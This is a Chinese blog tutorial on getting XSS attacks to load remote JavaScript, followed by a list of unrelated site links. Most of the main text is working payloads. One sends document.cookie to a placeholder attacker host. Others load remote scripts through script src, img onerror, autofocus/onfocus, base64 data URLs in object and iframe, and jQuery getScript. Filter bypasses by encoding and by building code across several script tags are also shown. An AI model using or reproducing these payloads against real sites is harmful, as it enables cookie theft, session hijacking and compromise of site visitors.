xss如何加载远程js的一些tips
时间:2022-04-26
本文章向大家介绍xss如何加载远程js的一些tips,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
在早期 , 对于xss我们是这样利用的
<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>
将 cookie之类的数据传递到自己的服务端
但是 如果要更为复杂的攻击的话,由于字符串长度等限制 需要加载远程js来实现。
一个简单的例子
<script src=http://xxx.xxx/a.js></script>
这样更为简洁
<script src=//xxx.xxx/a.js></script>
src属性会自己取当前页面的协议。
过滤了 <>的话 有时候可以用 %bf u003cu 等来绕过。
对于可以执行js的属性,我们可以控制其内容的话,可以基于DOM的方法创建和插入节点调用js
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>
不要忘记 autofocus无须交互即可执行js。
<input autofocus="" onfocus="........" />
过滤了 script ‘ create 等关键字的话。 各种编码绕过即可。 你可以看下jin的这篇文章http://drops.wooyun.org/tips/689
或者用String.fromCharCode 函数转换成 asc码
但是string.fromcharcode 太长了,在同一个页面,可控多个输出的时候, 可以对全局变量 进行多次赋值
一个经典的例子
<script>z='document.'</script><script>z=z+'write("'</script>
<script>z=z+'<script'</script><script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script><script>eval_r(z)</script>
我们也可以用data url 来加载。
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4=">
</object>
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4=">
</iframe>
PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是
<script src=http://xxx.xxx/a.js></script>
的base64值。
支持data url 的标签还有
<anchor>、<img> <a>(需点击) <meta>.....
需注意的是
<img>
里的 data url 是不允许执行js的。
还有, ie8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制 ie不支持对
<frame>
标签的src设置data URL
有时候 我们可以直接调用javascript框架的函数 来实现一些功能。
比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持) 我们直接这样调用就可以了
$.getScript("//xxx.xxx/a.js");
实践出真理!
- 深入解析golang编程中函数的用法
- MySQL数据库(一):安装MySQL数据库
- Spring Security入门(二):基于数据库验证
- flume搜集日志:如何解决实时不断追加的日志文件及不断增加的文件个数问题
- hduoj-----(2896)病毒侵袭(ac自动机)
- MySQL数据库(二):基本管理
- Golang编程实现生成n个从a到b不重复随机数的方法
- TiDB 在株式会社 FUNYOURS JAPAN 的应用
- MySQL数据库(三):数据类型
- spark开发环境详细教程2:window下sbt库的设置
- hdu----(2222)Keywords Search(ac自动机)
- MySQL数据库(四):约束条件
- hdu----(2084)数塔(dp)
- golang简单tls协议用法完整示例
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 图像处理笔记(7)---- OpenCV 绘制无填充矩形
- 图像处理笔记(8)---- OpenCV 获取追踪对象的HSV值
- (数据科学学习手札95)elyra——jupyter lab平台最强插件集
- Python 序列化/反序列化自定义类型
- Windows10下使用VS2017编译和使用yaml-cpp库
- CentOS7下编译yaml-cpp库
- SAP Spartacus CurrentProductService返回的null对象
- SAP Spartacus产品明细页面用Observable显示产品名称
- 关于rxjs里operators filter和map的详细讨论
- 用代码查看SAP Spartacus购物车内的行项目
- rxjs的map和switchMap在SAP Spartacus中的应用
- 用代码查看SAP Spartacus购物车内的行项目
- rxjs fromEvent的用法
- Python2和Python3的区别简单总结
- Django操作数据库